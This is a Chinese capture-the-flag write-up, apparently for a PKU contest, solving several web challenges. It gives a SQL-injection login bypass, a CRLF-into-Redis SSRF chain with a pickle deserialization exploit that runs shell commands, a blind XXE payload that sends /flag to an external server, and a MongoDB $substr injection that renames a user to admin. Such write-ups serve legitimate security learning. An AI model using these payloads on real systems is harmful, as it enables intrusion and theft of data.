前言
官方wp:https://contest.pku.edu.cn/media/landing_page/writeup.pdf
phpsql
sql注入
给了个登录注册的框,测了一下发现 password 过滤了空格
极简payload,两边闭合相等即可:
username: admin
password: '='
万能密码好像用不了,它用的mysqli_num_rows()要返回一个非bool值,所以不能等于1或者0
登录后就得到flag

pyssrf
CRLF + ssrf打redis + pickle反序列化
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)
def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)
@app.route('/')
def hello():
    url = request.args.get("url")
    return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
    <h2>Here is your result</h2>
    <h3>source code in /source</h3>
    %s
    ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')
@app.route('/source')
def source():
    return 
稍微审一下代码,
python3.7.1,一眼urllib.request.urlopen存在CRLF注入
然后有pickle反序列化,应该是等会要命令执行的点
接下来看redis交互的这两行:
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
我们传入的url会作为键名传给redis
测试发现开了debug模式,题目不出网,考虑用报错带出命令执行的回显:参考https://xz.aliyun.com/t/10456
payload:
先传入?url=127.0.0.1:6379,使其创建键名
然后写入命令
exp:
import hashlib
import pickle
import base64
import os
class opcode():
	def __reduce__(self):
		return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))
	
poc = base64.b64encode(pickle.dumps(opcode()))
print(poc)
url="http://127.0.0.1:6379"
url_key=hashlib.md5(url.encode()).hexdigest()
print(url_key)
传入,用CRLF注入urllib头打redis:参考https://strcpy.me/index.php/archives/749/
?url=127.0.0.1:6379?%0d%0aset cbdecc92165b29374b6b62cca016d4f8 "gASVUAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw0cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2lkJykucmVhZCgpKZSFlFKULg=="%0d%0asave
然后再访问?url=127.0.0.1:6379即可得到flag

fileit
无回显xxe
ctrl+u得到hint:$creds = simplexml_import_dom($dom);,明显是xxe,测试发现无回显
bp抓包直接post请求传入payload,注意Content-Type: application/xml
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip:port/test.dtd">
%remote;%int;%send;
]>
vps上的test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip?p=%file;'>">

于是原地tp带出flag

Messy Mongo

源码里面有账密ctfer:helloctfer!
接下来审index.ts,先看登录部分
app.use('/', serveStatic({ root: './static' }))
app.post('/api/login', async (c) => {
  const { username, password } = await c.req.json()
  assert(typeof username === 'string')
  assert(typeof password === 'string')
  const user = await users.findOne({ username, password })
  assert(user)
  const token = await sign({ user: user.username }, secret)
  return c.json({ token })
})
app.use('/api/*', jwt({ secret }))
app.patch('/api/login', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})
发现一个没见过的patch请求方法,猜测要用到,里面有updateMany,这里可以对用户数据进行修改
先抓一下post请求的登陆包

然后修改请求方法为PATCH,带上上面的token,传入请求头Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIifQ.iHO7zcH73BEaSK7ZNG8VwclFTPsOefrPDx0iWHG1jUU
接下来重点看对应的代码操作:
app.patch('/api/login', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})
根据传入的 username,只对更新的 username 是否为 admin 进行了一次验证,用 updateOne 和 updateMany 方法更新信息,我们可以在注入mongodb语句时用$substr来取字符来绕过这个验证,从而更新 username 为 admin
payload:
{
    "username":{
        "$substr":["admin", 0, 5]
    }
}
这样子我们的账户名称就被更新为 admin 了,再次登录即可得到flag


JustXSS (Unsolved)
expr (Unsolved)
一个login框,好像只能填数字,输入字母会报错500